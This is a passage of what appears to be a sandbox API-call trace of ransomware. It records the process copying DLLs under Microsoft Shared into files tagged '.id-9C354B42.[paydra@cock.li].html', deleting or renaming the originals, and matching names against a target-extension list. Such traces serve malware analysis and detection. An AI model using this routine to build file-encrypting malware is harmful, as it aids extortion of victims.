| out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x7980, lpOverlapped=0x0) returned 1 [0050.303] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x7990, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x7990, lpOverlapped=0x0) returned 1 [0050.304] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.305] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.305] SetEndOfFile (hFile=0x210) returned 1 [0050.305] CloseHandle (hObject=0x210) returned 1 [0050.305] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.305] SetEndOfFile (hFile=0x17c) returned 1 [0050.306] CloseHandle (hObject=0x17c) returned 1 [0050.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0050.306] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 1 [0050.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.306] lstrlenW (lpString=".doc") returned 4 [0050.306] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0050.306] lstrlenW (lpString=".docx") returned 5 [0050.306] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0050.306] lstrlenW (lpString=".pdf") returned 4 [0050.306] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0050.306] lstrlenW (lpString=".xls") returned 4 [0050.306] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0050.307] lstrlenW (lpString=".xlsx") returned 5 [0050.307] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0050.307] lstrlenW (lpString=".ppt") returned 4 [0050.307] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0050.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.307] lstrlenW (lpString=".zip") returned 4 [0050.307] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0050.307] lstrlenW (lpString=".rar") returned 4 [0050.307] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0050.307] lstrlenW (lpString=".bz2") returned 4 [0050.307] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0050.307] lstrlenW (lpString=".7z") returned 3 [0050.307] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.307] lstrlenW (lpString=".dbf") returned 4 [0050.307] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0050.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.307] lstrlenW (lpString=".1cd") returned 4 [0050.307] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0050.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.307] lstrlenW (lpString=".jpg") returned 4 [0050.307] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0050.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.307] lstrlenW (lpString=".doc") returned 4 [0050.307] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0050.307] lstrlenW (lpString=".docx") returned 5 [0050.307] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0050.307] lstrlenW (lpString=".pdf") returned 4 [0050.307] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0050.307] lstrlenW (lpString=".xls") returned 4 [0050.307] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0050.308] lstrlenW (lpString=".xlsx") returned 5 [0050.308] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0050.308] lstrlenW (lpString=".ppt") returned 4 [0050.308] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0050.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.308] lstrlenW (lpString=".zip") returned 4 [0050.308] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0050.308] lstrlenW (lpString=".rar") returned 4 [0050.308] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0050.308] lstrlenW (lpString=".bz2") returned 4 [0050.308] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0050.308] lstrlenW (lpString=".7z") returned 3 [0050.308] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.308] lstrlenW (lpString=".dbf") returned 4 [0050.308] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0050.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.308] lstrlenW (lpString=".1cd") returned 4 [0050.308] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0050.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0050.308] lstrlenW (lpString=".jpg") returned 4 [0050.308] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0050.308] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0050.308] lstrlenW (lpString="msgfilt.dll") returned 11 [0050.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.356] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=38768) returned 1 [0050.356] CloseHandle (hObject=0x17c) returned 1 [0050.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 0x20 [0050.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0050.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.357] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.357] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0050.513] GetLastError () returned 0x0 [0050.513] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x9770, lpOverlapped=0x0) returned 1 [0050.529] WriteFile (in: hFile=0x214, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x9780, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x9780, lpOverlapped=0x0) returned 1 [0050.530] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.530] WriteFile (in: hFile=0x214, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.530] SetEndOfFile (hFile=0x214) returned 1 [0050.530] CloseHandle (hObject=0x214) returned 1 [0050.531] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.531] SetEndOfFile (hFile=0x17c) returned 1 [0050.532] CloseHandle (hObject=0x17c) returned 1 [0050.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0050.532] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 1 [0050.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.532] lstrlenW (lpString=".doc") returned 4 [0050.532] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.532] lstrlenW (lpString=".docx") returned 5 [0050.532] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0050.532] lstrlenW (lpString=".pdf") returned 4 [0050.532] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.532] lstrlenW (lpString=".xls") returned 4 [0050.532] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.532] lstrlenW (lpString=".xlsx") returned 5 [0050.532] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0050.532] lstrlenW (lpString=".ppt") returned 4 [0050.532] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.533] lstrlenW (lpString=".zip") returned 4 [0050.533] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.533] lstrlenW (lpString=".rar") returned 4 [0050.533] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.533] lstrlenW (lpString=".bz2") returned 4 [0050.533] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.533] lstrlenW (lpString=".7z") returned 3 [0050.533] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.533] lstrlenW (lpString=".dbf") returned 4 [0050.533] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.533] lstrlenW (lpString=".1cd") returned 4 [0050.533] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.533] lstrlenW (lpString=".jpg") returned 4 [0050.533] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.533] lstrlenW (lpString=".doc") returned 4 [0050.533] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.533] lstrlenW (lpString=".docx") returned 5 [0050.533] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0050.533] lstrlenW (lpString=".pdf") returned 4 [0050.533] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.533] lstrlenW (lpString=".xls") returned 4 [0050.533] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.533] lstrlenW (lpString=".xlsx") returned 5 [0050.533] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0050.533] lstrlenW (lpString=".ppt") returned 4 [0050.533] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.533] lstrlenW (lpString=".zip") returned 4 [0050.534] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.534] lstrlenW (lpString=".rar") returned 4 [0050.534] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.534] lstrlenW (lpString=".bz2") returned 4 [0050.534] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.534] lstrlenW (lpString=".7z") returned 3 [0050.534] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.534] lstrlenW (lpString=".dbf") returned 4 [0050.534] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.534] lstrlenW (lpString=".1cd") returned 4 [0050.534] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.534] lstrlenW (lpString=".jpg") returned 4 [0050.534] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.534] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0050.534] lstrlenW (lpString="odffilt.dll") returned 11 [0050.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.535] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=1312656) returned 1 [0050.536] CloseHandle (hObject=0x17c) returned 1 [0050.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 0x20 [0050.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0050.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.536] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.536] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0050.536] GetLastError () returned 0x0 [0050.537] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0050.555] WriteFile (in: hFile=0x214, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0051.426] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x407a0, lpOverlapped=0x0) returned 1 [0051.437] WriteFile (in: hFile=0x214, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x407b0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x407b0, lpOverlapped=0x0) returned 1 [0051.444] ReadFile (in: hFile=0x17c, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.444] WriteFile (in: hFile=0x214, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.444] SetEndOfFile (hFile=0x214) returned 1 [0051.444] CloseHandle (hObject=0x214) returned 1 [0051.445] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.445] SetEndOfFile (hFile=0x17c) returned 1 [0051.447] CloseHandle (hObject=0x17c) returned 1 [0051.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0051.448] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 1 [0051.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.448] lstrlenW (lpString=".doc") returned 4 [0051.448] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.448] lstrlenW (lpString=".docx") returned 5 [0051.448] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0051.448] lstrlenW (lpString=".pdf") returned 4 [0051.448] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.448] lstrlenW (lpString=".xls") returned 4 [0051.448] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.448] lstrlenW (lpString=".xlsx") returned 5 [0051.448] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0051.448] lstrlenW (lpString=".ppt") returned 4 [0051.448] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.448] lstrlenW (lpString=".zip") returned 4 [0051.448] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.448] lstrlenW (lpString=".rar") returned 4 [0051.448] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.588] lstrlenW (lpString=".bz2") returned 4 [0051.588] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.588] lstrlenW (lpString=".7z") returned 3 [0051.588] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.588] lstrlenW (lpString=".dbf") returned 4 [0051.588] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.589] lstrlenW (lpString=".1cd") returned 4 [0051.589] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.589] lstrlenW (lpString=".jpg") returned 4 [0051.589] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.589] lstrlenW (lpString=".doc") returned 4 [0051.589] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.589] lstrlenW (lpString=".docx") returned 5 [0051.589] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0051.589] lstrlenW (lpString=".pdf") returned 4 [0051.589] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.589] lstrlenW (lpString=".xls") returned 4 [0051.589] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.589] lstrlenW (lpString=".xlsx") returned 5 [0051.589] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0051.589] lstrlenW (lpString=".ppt") returned 4 [0051.589] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.589] lstrlenW (lpString=".zip") returned 4 [0051.589] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.589] lstrlenW (lpString=".rar") returned 4 [0051.590] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.590] lstrlenW (lpString=".bz2") returned 4 [0051.590] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.590] lstrlenW (lpString=".7z") returned 3 [0051.590] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.590] lstrlenW (lpString=".dbf") returned 4 [0051.590] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.590] lstrlenW (lpString=".1cd") returned 4 [0051.590] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0051.590] lstrlenW (lpString=".jpg") returned 4 [0051.590] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.590] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0051.590] lstrlenW (lpString="VISFILT.DLL") returned 11 [0051.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0051.851] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=2124664) returned 1 [0051.853] CloseHandle (hObject=0x1c8) returned 1 [0051.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll")) returned 0x20 [0051.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0051.853] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[paydra@cock.li].html")) returned 1 [0051.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0051.855] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0x0) returned 1 [0051.855] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.855] ReadFile (in: hFile=0x1c8, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.864] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0051.864] ReadFile (in: hFile=0x1c8, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0051.888] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0051.889] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: 